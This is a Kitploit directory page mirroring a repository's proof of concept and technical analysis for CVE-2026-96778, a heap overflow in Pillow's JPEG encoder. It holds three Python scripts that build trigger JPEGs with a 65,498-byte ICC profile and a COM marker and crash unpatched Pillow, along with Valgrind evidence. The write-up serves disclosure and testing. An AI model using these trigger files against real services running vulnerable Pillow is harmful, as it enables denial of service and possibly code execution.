Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-96778-pillow — Prova de conceito e análise técnica para CVE-2026-96778, um heap buffer overflow no codificador JPEG do Pillow acionado por perfil ICC mais marcador COM ao salvar novamente. | Kitploit
Ferramentas/GitHubGitHub/paktiko1986/cve-2026-96778-pillow
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoFuzzingPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHub
Compartilhar
paktiko1986/cve-2026-96778-pillow

CVE-2026-96778-pillow

Prova de conceito e análise técnica para CVE-2026-96778, um heap buffer overflow no codificador JPEG do Pillow acionado por perfil ICC mais marcador COM ao salvar novamente.

Ver Repositório
há 24 diasAinda não revisado

CVE-2026-96778 — Estouro de buffer na heap no codificador JPEG do Pillow

Status Pillow Fixed Platform

Este repositório contém Proof of Concept (PoC), provas de reprodução e análise técnica para CVE-2026-96778, um heap buffer overflow na biblioteca Pillow (Python Imaging Library).

Resumo breve: Salvar novamente uma imagem JPEG que carrega um perfil ICC de tamanho exato e um comentário (marcador COM) causa uma escrita além do buffer do codificador de 65.536 bytes, corrompe metadados do heap e pode causar denial of service (crash) até execução de código.


1. Detalhes da Vulnerabilidade

CampoValor
CVE IDCVE-2026-96778
Componentesrc/libImaging/JpegEncode.c — ImagingJpegEncode()
Ponto vulnerávelLinha 282 (jpeg_write_marker para marcador COM)
TipoHeap Buffer Overflow (CWE-122)
Faixa afetadaPillow 9.4.0 – <13.0.0
Corrigido emPillow 13.0.0
ImpactoDoS (SIGSEGV/SIGABRT), potencial RCE
VetorLocal / interação do usuário (abrir e salvar novamente a imagem)
AdvisoryGHSA-g7cr-3p24-7wf7

2. Análise da Causa Raiz

2.1 Fluxo do Código

  1. JpegImagePlugin._save() calcula o tamanho do buffer de saída apenas a partir de exif e extra (perfil ICC), sem reservar espaço para comentários.
  2. _encode_to_file() (src/encode.c:186) aloca um buffer MAXBLOCK = 65.536 bytes.
  3. Um perfil ICC de 65.498 bytes preenche o buffer exatamente até o último byte, de modo que free_in_buffer == 0.
  4. Quando jpeg_write_marker() é chamado para escrever o marcador COM (JpegEncode.c:282), libjpeg escreve 1 byte primeiro, e só depois decrementa o contador size_t free_in_buffer.
  5. Como o contador vale 0, o decremento causa underflow para ~2⁶⁴. As verificações de limite subsequentes tornam-se inválidas.
  6. O restante do comentário e os dados da imagem comprimida são escritos além do limite do buffer, sobrescrevendo a memória heap ao redor.

2.2 Cálculo do Tamanho do Gatilho

ENCODER_BUFFER = 65536          # ImageFile.MAXBLOCK
JFIF_HEADER    = 20             # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD   = 18             # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD    = 65536 - 20 - 18 = 65498   # tepat penuh

Dengan ICC_PAYLOAD = 65498, buffer terisi tepat sampai byte terakhir. Menambahkan COM marker (panjang berapa pun, 1–65533 byte) memicu overflow.

2.3 Mengapa Komentar Besar Lebih Efektif

Komentar maksimal legal (65.533 byte) membuat overflow menulis data dalam jumlah besar, sehingga crash lebih deterministik. Komentar kecil (mis. 32 byte) tetap memicu Invalid write di Valgrind, tetapi belum tentu crash di runtime normal (tergantung layout heap dan allocator).


3. Lingkungan Uji

KomponenNilai
OSUbuntu Linux x86_64
KernelLinux 6.x
Python3.12.3
Valgrind3.22.0
libjpeg8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2)
Compilergcc 13.3.0
Pillow diuji9.4.0, 9.5.0, 13.0.0
Sumber Pillowbuild dari source (pip install -e .)

4. Prova de Conceito

4.1 make_trigger.py — Gerador de JPEG de Gatilho

Membuat trigger.jpg dengan profil ICC 65.498 byte dan COM marker.

from PIL import Image
import io, struct

im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()

icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data

def make_app2(payload):
    length = len(payload) + 2
    return b"\xFF\xE2" + struct.pack(">H", length) + payload

def make_com(comment: bytes):
    length = len(comment) + 2
    return b"\xFF\xFE" + struct.pack(">H", length) + comment

assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]

with open("trigger.jpg", "wb") as f:
    f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")

4.2 repro_cve.py — Reprodução Compatível com Valgrind

from PIL import Image

im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)

im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")

Execute com Valgrind:

python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log

4.3 poc_advisory.py — PoC de Referência (Detecção de Crash)

Com base no advisory oficial GHSA-g7cr-3p24-7wf7. Executa im.save() em um processo filho e verifica o status de saída (negativo = encerrado por sinal).

#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image

ENCODER_BUFFER = 65536
JFIF_HEADER    = 20
ICC_OVERHEAD   = 18
ICC_PAYLOAD    = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD  # 65498
COMMENT        = b"C" * 65533

RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""

def segment(marker, payload):
    return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload

def make_jpeg(with_comment):
    noise = random.Random(1234).randbytes(256 * 256 * 3)
    out = BytesIO()
    Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
    plain = out.getvalue()
    icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
    com = segment(0xFE, COMMENT) if with_comment else b""
    return plain[:2] + icc + com + plain[2:]

def resave(jpeg):
    cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
    r = subprocess.run(cmd, input=jpeg, capture_output=True)
    print((r.stdout + r.stderr).decode(errors="replace").strip())
    print(f"-> exit status {r.returncode}")
    return r.returncode

print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))

print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))

if rc < 0:
    print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
    print("BUG")
else:
    print("OK")

5. Evidência de Reprodução

5.1 Resumo dos Resultados

Versão do PillowOrigem da importaçãoValgrindPoC do advisoryStatus
9.4.0/mnt/Pillow/src/PILInvalid write ×5 + heap corruptBUG (SIGSEGV)VULNERÁVEL
9.5.0/mnt/Pillow/src/PILInvalid write ×5 + heap corruptBUG (SIGSEGV)VULNERÁVEL
13.0.0/mnt/Pillow-13/src/PIL0 errorsOKSEGURO

5.2 Pillow 9.4.0 — Valgrind

==7310== Invalid write of size 1
==7310==    at 0x622410E: ??? (in libjpeg.so.8.2.2)
==7310==    by 0x6214569: jpeg_write_marker (in libjpeg.so.8.2.2)
==7310==    by 0x61DE40D: ImagingJpegEncode (JpegEncode.c:282)
==7310==  Address 0x60ddce0 is 0 bytes after a block of size 65,536 alloc'd
==7310==    at malloc
==7310==    by 0x61C06B4: _encode_to_file (encode.c:186)
...
valgrind: Heap block lo/hi size mismatch: lo = 65600, hi = 6365935209750747224

5.3 Pillow 9.5.0 — Valgrind

Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    628
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    413
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer é uma plataforma de código aberto de Gerenciamento de Acesso Privilegiado (PAM) que fornece às equipes de DevOps e TI acesso seguro e sob demanda a endpoints SSH, RDP, Kubernetes, Banco de Dados e RemoteApp através de um navegador web.

    366
  • 5

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    329
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Mecanismo OSINT com IA para descobrir e mapear mais de 7.700 identidades em redes sociais na web

    287

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →